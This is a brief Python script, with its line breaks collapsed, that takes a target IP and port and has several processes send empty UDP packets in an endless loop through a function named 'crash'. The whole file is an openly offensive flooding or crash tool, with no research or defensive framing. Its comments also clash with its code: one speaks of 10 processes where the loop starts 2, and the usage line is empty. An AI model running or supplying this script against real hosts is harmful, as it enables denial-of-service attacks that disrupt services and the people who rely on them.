import sys import struct import socket from multiprocessing import Process def crash(ip, port): # send an Empty UDP packet to the target s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP) s.connect((ip, int(port))) print("Sending empty UDP packet to %s:%s" % (ip, port)) while True: s.send(b'') s.close() if __name__ == '__main__': # Get IP and port from command line arguments if len(sys.argv) != 3: print("Usage: python script.py ") sys.exit(1) ip = sys.argv[1] port = sys.argv[2] # Create 10 processes that will send empty UDP packets to the target processes = [] for _ in range(2): p = Process(target=crash, args=(ip, port)) p.start() processes.append(p)